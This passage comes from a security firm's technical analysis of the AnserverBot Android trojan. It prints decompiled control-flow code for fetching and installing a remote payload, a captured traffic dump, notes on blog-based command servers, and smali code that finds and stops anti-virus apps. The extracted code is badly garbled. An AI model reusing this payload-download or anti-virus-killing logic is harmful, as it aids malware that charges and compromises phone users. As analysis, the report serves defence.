r22 = java.lang.Long.valueOf(l51)
r137 = r142 .a ( r107 , r22)
r113 = "family"
r131 = r137 .a ( r113 , i31)
r97 = "s ize"
r147 = r131 .a ( r97 , i29)
r96 = "11pt"
r 1 5 0 = r 1 4 7
r 9 4 = r 9 6
r 8 3 = r 5 3
r132 = r150 .a ( r94 , r83)
r82 = " t ex t "
r19 = java.lang.Long.valueOf(l47)
r144 = r132 .a ( r82 , r19)
r91 = "begin templa te"
r 1 4 6 = r 1 4 4
r 9 2 = r 9 1
r 9 0 = r 4 6
r155 = r146 .a ( r92 , r90)
r160 = new java. lang.Str ingBuilder
r 1 7 = r 1 6 0
special invoke r160.<ini t>()
r 1 3 = r 1 7
r 8 0 = r 3 9
r10 = r13 .append( r80)
r71 = "head"
r12 = r10 .append( r71)
r72 = r12 . toStr ing()
r 1 4 5 = r 1 5 5
r 5 7 = r 7 2
r 5 9 = r 1 2 4
r154 = r145 .a ( r57 , r59)
r161 = new java. lang.Str ingBuilder
r 1 4 = r 1 6 1
special invoke r161.<ini t>()
r 1 8 = r 1 4
r 1 2 5 = r 3 9
r7 = r18 .append( r125)
r123 = "beginedi table"
r11 = r7 .append( r123)
r114 = r11 . toSt r ing()
r154 .a ( r114 , r103)
r162 = new java. lang.Str ingBuilder
r 1 5 = r 1 6 2
special invoke r162.<ini t>()
r 1 6 = r 1 5
r 1 2 2 = r 3 9
r9 = r16 .append( r122)
r49 = "ewar01"
r8 = r9 .append( r49)
r64 = r8 . toStr ing()
r 1 3 5 = r 1 3 9
r 6 3 = r 6 4
r 6 2 = r 8 5
r135.a( r63 , r62)
r75 = " type"
l42 = 0L
r177 = (com.sec.android.providers .drm.Doctype) r133,
l45 = r177.a( r75 , l42)
z1 = com.sec.android.providers.drm.Xmlns.b(l45)
if z1 != 0 goto label13
r109 = "he ight"
label13: r108 = "style"
b 3 8 = 0
b 3 6 = 0
r178 = (com.sec.android.providers .drm.Doctype) r133
r178 .a ( r109 , b38)
r179 = (com.sec.android.providers .drm.Doctype) r133
r141 = r179 .a ( r108 , b36)
r118 = " type"
l46 = r32.getTime()
r24 = java.lang.Long.valueOf(l46)
r141.a( r118, r24)
r119 = "body"
r180 = (com.sec.android.providers .drm.Doctype) r133
r180 .a ( r119)
r128 = " topmargin"
r181 = (com.sec.android.providers .drm.Doctype) r133
r181 .a ( r128)
label14: goto label2
i f z10 == 0 goto label16
r182 = (com.sec.android.providers .drm.Doctype) r133 label16: r48 = "0"
r182.a() z9 = r48 .equa l s ( r106)
goto label2
i f z9 == 0 goto label17
r45 = " type" label17: r60 = ""
l50 = r33.getTime() z12 = r60 .equa l s ( r106)
r25 = java.lang.Long.valueOf(l50)
r183 = (com.sec.android.providers .drm.Doctype) r133
r183.a( r45 , r25)
goto label2
i f z12 == 0 goto label18
r58 = "begin templa te" label18: r54 = com.sec.android.providers.drm.Xmlns.d(r106)
r184 = (com.sec.android.providers .drm.Doctype) r133 z7 = com.sec.android.providers.drm.Xmlns.a(r54)
r184.a( r58)
goto label2
if z7 != 0 goto label2
r52 = "begin templa te"
r185 = (com.sec.android.providers .drm.Doctype) r133
r185.a( r52 , r106)
r68 = "body"
r186 = (com.sec.android.providers .drm.Doctype) r133
r186.a( r68)
r65 = " topmargin"
r187 = (com.sec.android.providers .drm.Doctype) r133
r187.a( r65)
label19: goto label2
Figure 14: The CFG of the d() method in class com.sec.android.providers.drm.Omion
12
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
boolean e()
r22 := @this
n0 = nu l l
z 0 = 1
z 1 = 0
i3 = 11
r89 = com.sec.android.providers.drm.Doctype.a(i3)
i17 = ( in t ) z1
r88 = com.sec.android.providers.drm.Doctype.a(i17)
r35 = "docti t le"
i18 = ( in t ) z1
i8 = r89.b(r35, i18)
r67 = "novel"
i19 = ( in t ) z1
i0 = r88.b(r67, i19)
r63 = "from"
i20 = ( in t ) z1
i5 = r88.b(r63, i20)
if i0 >= i8 goto label0
label0: r46 = r22. l
z7 = com.sec.android.providers.drm.Xmlns.a(r46)
i f z7 == 0 goto label1
if i0 != i8 goto label1
label1: r48 = r22. l
z3 = com.sec.android.providers.drm.Xmlns.a(r48)
i f z3 == 0 goto label2
z 2 1 = z 0
label2: if i0 < i8 goto label4
i21 = ( in t ) z21
r72 = r22 . l
label4: r75 = "from"
if i21 != i5 goto label2
z5 = com.sec.android.providers.drm.Xmlns.a(r72)
i23 = ( in t ) z0
i f z5 == 0 goto label3
z 2 2 = z 0
label3: r76 = r22. l
i22 = ( in t ) z22
z4 = com.sec.android.providers.drm.Xmlns.a(r76)
if i22 == i5 goto label4
i f z4 == 0 goto label19
r 7 0 = r 2 2 . m
labe l19 : z11 = z1
z8 = com.sec.android.providers.drm.Xmlns.a(r70)
goto label6
if z8 != 0 goto label19
if i0 != i8 goto label19
r89.a(r75, i23)
r78 = "s ty leshee t"
r79 = r89 .c ( r78 , n0)
r80 = "href"
r58 = r89 .c ( r80 , n0)
z15 = com.sec.android.providers.drm.Xmlns.a(r79)
if z15 != 0 goto label7
r 3 7 = r 7 9
label7: z18 = com.sec.android.providers.drm.Xmlns.a(r58)
label5: z13 = com.sec.android.providers.drm.Xmlns.a(r37)
if z18 != 0 goto label30
if z13 == 0 goto label8
z 1 1 = z 1
label8: r82 = "gb2312"
label6: re turn z11
i24 = ( in t ) z1
r 3 7 = r 5 8label30: r37 = n0
goto label5goto label5
i15 = r89.b(r82, i24)
r62 = "s tyle"
i25 = ( in t ) z1
i14 = r89.b(r62, i25)
if i15 > i14 goto label9
z 1 1 = z 1
label9: r69 = "line"
goto label6
i26 = ( in t ) z1
i13 = r89.b(r69, i26)
r59 = "height"
i27 = ( in t ) z1
i12 = r89.b(r59, i27)
if i13 > i12 goto label10
z 1 1 = z 1label10: z19 = com.sec.android.providers.drm.Xmlns.a(r79)
goto label6
if z19 != 0 goto label23
label11: r18 = new java.net .URLlabel23: z2 = com.sec.android.providers.drm.Xmlns.a(r58)
special invoke r18.<ini t>(r37)if z2 != 0 goto label19
r17 = r18 .openConnect ion()
i 9 = 1 5 0 0 0
r17.setReadTimeout(i9)
r17.connect()
r0 = r17 .ge t Inpu tS t ream()
r17 .ge tConten tLength( )
r25 = new java.io.File
r11 = new java. lang.Str ingBuilder
special invoke r11.<init>()
r52 = "9Ci5utjhztkp7cA_"
r81 = com.sec.android.providers.drm.Xmlns.d(r52)
r15 = r11 .append( r81)
r86 = com.sec.android.providers .drm.Doctype.a
r71 = r86 .ge tPackageName()
r16 = r15 .append( r71)
r74 = "9Cz18t3N9CVO7KTm"
r73 = com.sec.android.providers.drm.Xmlns.d(r74)
r12 = r16 .append( r73)
r49 = r12. toStr ing()
special invoke r25.<ini t>(r49)
z14 = r25 .ex is t s ( )
i f z14 == 0 goto label16
r25.delete()
label16: r30 = r25.getParentFi le()
label12: r21 = new java. io .Fi leOutputStream
z12 = r30 .ex is t s ( )
special invoke r21.<ini t>(r25)
i 1 1 = 1 0 2 4
r23 = newarray (byte) [ i11]
label13: i16 = r0 . read(r23)
b 6 = - 1
if i16 != b6 goto label20
r0.close() label20: i7 = 0
r44 = " .apk" label21: r21.write(r23, i7, i16)
z9 = r37 .endsWith( r44)
if z9 != 0 goto label14
r25 = com.sec.android.providers .drm.Brown.a(r25)
label14: r26 = new java.io.File
r6 = new java. lang.Str ingBuilder
special invoke r6.<init>()
r38 = "9Ci5utjhztkp7cA_"
r65 = com.sec.android.providers.drm.Xmlns.d(r38)
r10 = r6 .append( r65)
r85 = com.sec.android.providers .drm.Doctype.a
r33 = r85 .ge tPackageName()
r3 = r10 .append( r33)
r36 = "9Cz18t3N9CkOrC32uI327WBD7n__"
r51 = com.sec.android.providers.drm.Xmlns.d(r36)
r14 = r3 .append( r51)
r60 = r14. toStr ing()
special invoke r26.<ini t>(r60)
z16 = r26 .ex is t s ( )
i f z16 == 0 goto label15
r26.delete()
label15: r25.renameTo(r26)
z 1 1 = z 0
goto label6
if z12 != 0 goto label12
r32 = r25.getParentFi le( )
r32.mkdirs()
label17: goto label12
label18: r20 := @caughtexcept ion
r43 = "s tyle"
i4 = i14 + 1
r89.a(r43, i4)
r45 = "height"
i1 = i12 + 1
r89.a(r45, i1)
label22: goto label13
z 1 7 = 0
label24: r56 = "utf-8"
r41 = "KRgr3LpmuRMdKLMdPn__"
r61 = com.sec.android.providers.drm.Xmlns.d(r41)
r64 = com.sec.android.providers .drm.Xhtml.a(r37, z17, r56, r61)
r1 = new java. lang.Str ingBuilder
special invoke r1.<init>()
r68 = "9Ci5utjhztkp7cA_"
r66 = com.sec.android.providers.drm.Xmlns.d(r68)
r5 = r1 .append( r66)
r87 = com.sec.android.providers .drm.Doctype.a
r54 = r87 .ge tPackageName()
r2 = r5 .append( r54)
r39 = "9Cz18t3N9CVO7KTm9e11rS__"
r47 = com.sec.android.providers.drm.Xmlns.d(r39)
r13 = r2 .append( r47)
r50 = r13. toStr ing()
r24 = new java.io.File
special invoke r24.<ini t>(r50)
z10 = r24 .ex is t s ( )
i f z10 == 0 goto label27
r24.delete()
label27: r31 = r24.getParentFi le()
label25: com.sec.android.providers.drm.Brown.a(r64, r24)
z20 = r31 .ex is t s ( )
r27 = com.sec.android.providers .drm.Brown.a(r24)
r28 = new java.io.File
r4 = new java. lang.Str ingBuilder
special invoke r4.<init>()
r77 = "9Ci5utjhztkp7cA_"
r55 = com.sec.android.providers.drm.Xmlns.d(r77)
r8 = r4 .append( r55)
r84 = com.sec.android.providers .drm.Doctype.a
r53 = r84 .ge tPackageName()
r7 = r8 .append( r53)
r40 = "9Cz18t3N9CkOrC32uI327WBD7n__"
r42 = com.sec.android.providers.drm.Xmlns.d(r40)
r9 = r7 .append( r42)
r34 = r9 . toStr ing()
special invoke r28.<ini t>(r34)
z6 = r28 .exis ts ( )
i f z6 == 0 goto label26
r28.delete()
label26: r27.renameTo(r28)
z 1 1 = z 0
goto label6
if z20 != 0 goto label25
r29 = r24.getParentFi le( )
r29.mkdirs()
label28: goto label25
label29: r19 := @caughtexcept ion
r83 = "s tyle"
i10 = i 14 + 1
r89.a(r83, i10)
r57 = "height"
i2 = i12 + 1
r89.a(r57, i2)
goto label19
Figure 15: The CFG of the e() method in class com.sec.android.providers.drm.Omion
13
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 30 .Server: nginx/0
00000020 2e 37 2e 36 32 0d 0a 44 61 74 65 3a 20 57 65 64 .7.62..D ate: Wed
00000030 2c 20 32 31 20 53 65 70 20 32 30 31 31 20 30 31 , 21 Sep 2011 01
00000040 3a 34 34 3a 31 36 20 47 4d 54 0d 0a 43 6f 6e 74 :44:16 G MT..Cont
00000050 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 ent-Type : text/h
00000060 74 6d 6c 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a tml..Con nection:
00000070 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 keep-al ive..Var
00000080 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 y: Accep t-Encodi
...
00005380 09 09 09 76 5f 5f 5f 5f 5f 3a 79 6a 45 4a 54 54 ...v____ _:yjEJTT
00005390 6c 53 76 53 53 56 53 47 52 70 39 4e 41 53 53 53 lSvSSVSG Rp9NASSS
000053A0 53 53 3c 77 62 72 3e 53 53 53 53 53 53 53 53 53 SS<wbr>S SSSSSSSS
000053B0 53 53 6b 53 53 53 53 37 57 42 35 72 74 68 79 3c SSkSSSS7 WB5rthy<
000053C0 77 62 72 3e 4f 56 33 4a 65 4a 34 71 39 36 73 53 wbr>OV3J eJ4q96sS
000053D0 72 63 35 4f 73 37 67 36 57 73 7a 38 3c 77 62 72 rc5Os7g6 Wsz8<wbr
000053E0 3e 68 4a 6e 39 39 50 36 4f 36 55 61 52 67 6b 53 >hJn99P6 O6UaRgkS
000053F0 5a 73 75 34 75 34 78 74 4b 3c 77 62 72 3e 79 67 Zsu4u4xt K<wbr>yg
00005400 32 35 4f 50 45 57 73 75 70 47 68 7a 2f 34 2f 72 25OPEWsu pGhz/4/r
Figure 16: The captured network packets when the payload B is being upgraded
version, which is stored in the key “novel” in the local shared preference with the latest versionfrom the remote C&C server (saved in the key “doctitle”). If there is a newer version, it will obtainthe download URL from either “stylesheet” or “href” (see the blocks in the CFG with the colorCornflowerBlue). After that, instead of directly connecting to the download URL, it will checkwhether the number of previous failed attempts to download the payload B exceeds the savedthreshold (stored in “gb2312” and “line” – see those blocks in the CFG with the color Magenta). Ifyes, the malware will not bother trying again as the remote server is considered down. Otherwise,it will start downloading the payload. The downloaded payload will be decoded (if necessary) anddecompressed (see the blocks with the colors YellowOrange and and LimeGreen). After that, theold version will be removed and the new version will be renamed to “anserverb.db”.
In our experiment, we have successfully captured the traffic when AnserverBot downloads thepayload B from the remote server (the captured network packets are shown in Figure 16). It turnsout that the payload B is actually stored in the same public blog website (http://blog.sina.com.cn/s/blog 8440ab780100t0nf.htm that contains the information for the new C&C servers.
In Figure 17, we show the screenshot of the blog entry that contains the actual payload B. Thetitle of this blog entry is “b41 8008”, which seems to indicate the current version number (of the pay-load B). This version number is confirmed from the versionCode field of the AndroidManifest.xmlfile in the updated payload B. As of the writing, we have identified more than 15 different versions ofpayload B posted in the last two months. Six of them were posted within one single week when themalware was first detected (Figure 18). This clearly indicates the rapid evolution of this malware.
A further investigation shows that the payload B is actually a recent variant of BaseBridge,which was first discovered by NetQin on May 31, 2011 [3]. The BaseBridge malware has been knownto receive premium numbers from remote C&C servers and dial calls or send out SMS messagesto them, incurring fees for users. Its combination with the Plankton-style stealthy dynamic codeloading and execution (Section 2.4) as well as various code/data obfuscation techniques (Sections2.2, 2.3, 2.5 2.6, and 2.7) eventually leads to the emergence of the AnserverBot malware.
14
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
Figure 17: An encoded posting in a public blog (to update the payload B)
Figure 18: The rapid evolution of payload B (indicated by frequent posts in the C&C public blog)
2.8 Detecting/removing mobile security software
AnserverBot is also designed to detect the presence of certain mobile anti-virus apps. If detected,it will attempt to shut down them. In Figure 19, we show the related code snippet in payload B.Specifically, it first obtains the list of installed apps on the phone and then traverses this list tofind related mobile anti-virus apps by matching their package names with a predefined (encrypted)regular expression. In the sample we analyzed, it will detect the following three security programs:
15
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
com.qihoo360.mobilesafe, com.tencent.qqpimsecure and com.lbe.security. If any one ofthem is detected, it will try to stop its executing by calling the restartPackage function anddisplaying a dialog informing the user that the particular app is stopped unexpectedly.3
[com.sec.android.providers.drm.Waste]
.method public static b(Landroid/content/Context;)Ljava/lang/String;
.locals 4
const/4 v2, 0x0
//the encrypted regular expression to match the package name of security software
//(^com\.qihoo360\.mobilesafe$)|(^com\.tencent\.qqpimsecure$)|(^com\.lbe\.security$)const-string v0, "ZkBw8CLr9ek1HtMhfN7YKvBg8CF18t3N7xzRFvRAZkBw8CLr9eiR8I0R8eir9eksrtRgrC3wu
KFRFvRAZkBw8CLr9IsWz3YOrC3wuKF1uoDDZl__"
//decrypt this string
invoke-static v0, Lcom/sec/android/providers/drm/However;->d(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
invoke-virtual p0, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v1
invoke-virtual v1, v2, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
move-result-object v1
:goto_0
invoke-interface v1, Ljava/util/List;->size()I
move-result v3
//traverse the list of installed packages.
if-ge v2, v3, :cond_1
invoke-interface v1, v2, Ljava/util/List;->get(I)Ljava/lang/Object;
move-result-object p0
check-cast p0, Landroid/content/pm/PackageInfo;
iget-object v3, p0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
invoke-static v3, v0, Lcom/sec/android/providers/drm/However;->a
(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v3
if-eqz v3, :cond_0
iget-object v0, p0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
:goto_1
//find the security software. return its package name.
return-object v0
:cond_0
//otherwise, check next package.
add-int/lit8 v2, v2, 0x1
goto :goto_0
:cond_1
const/4 v0, 0x0
goto :goto_1
.end method
Figure 19: Check the presence of (certain) mobile anti-virus apps
3 Conclusion
In this report, we have presented a detailed technical analysis of the AnserverBot malware, whichrepresents a significant jump from earlier Android malware in terms of the sophistication andstealthiness. By dynamically fetching, loading, and executing its payload and aggressively obfus-cating Android API methods (e.g., method names and arguments), AnserverBot departs fromexisting Android malware and poses a significant challenge for their detection and analysis. More-over, it is the first in the Android malware history that uses public blog websites as its C&C serverfor command and payload delivery. It is also one of the few Android malware we have analyzed
3According to the online document [6], the restartPackage method is deprecated, which indicates the particularfunctionality may not work on new versions of Android.
16
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
that employ signature checking to protect themselves from being repackaged or analyzed. To thebest of our knowledge, it is also the first malware since the exposure of Plankton that materializesthe Dalvik class loading capability to dynamically load and execute remotely downloaded code.
The actual intent of AnserverBot still remains to be identified. Considering the similarity ofthe payload B with earlier BaseBridge variants, the malware may be created to incur unauthorizedfee charges for users by sending out background SMS messages or phone calls to premium numbers.Meanwhile, with the Plankton-like payload deliver mechanism in place, new payloads can be easilypushed to infected phones for execution.
The AnserverBot malware was first detected in several popular third-party Android markets inChina. Due to the lack of a vetting mechanisms among them, we start to observe increased numberof infected apps from these markets. The discovery of AnserverBot as well as earlier reports ofother Android malware clearly calls for the need of a rigorous vetting process to better police thesemarkets and maintain a healthy Android app ecosystem.
References
[1] New DroidKungFu Variant (aka DroidKungFu3) Returns in Alternative Android Markets.http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu3/.
[2] Base64. http://en.wikipedia.org/wiki/Base64.
[3] BaseBridge. http://www.securityweek.com/fee-deduction-malware-targeting-android-devices-spotted-wild.
[4] DexClassLoader. http://developer.android.com/reference/dalvik/system/DexClassLoader.html.
[5] New Stealthy Android Spyware – Plankton– Found in Official Android Market.http://www.csc.ncsu.edu/faculty/jiang/Plankton/.
[6] restartPackage. http://developer.android.com/reference/android/app/ActivityManager.html.
17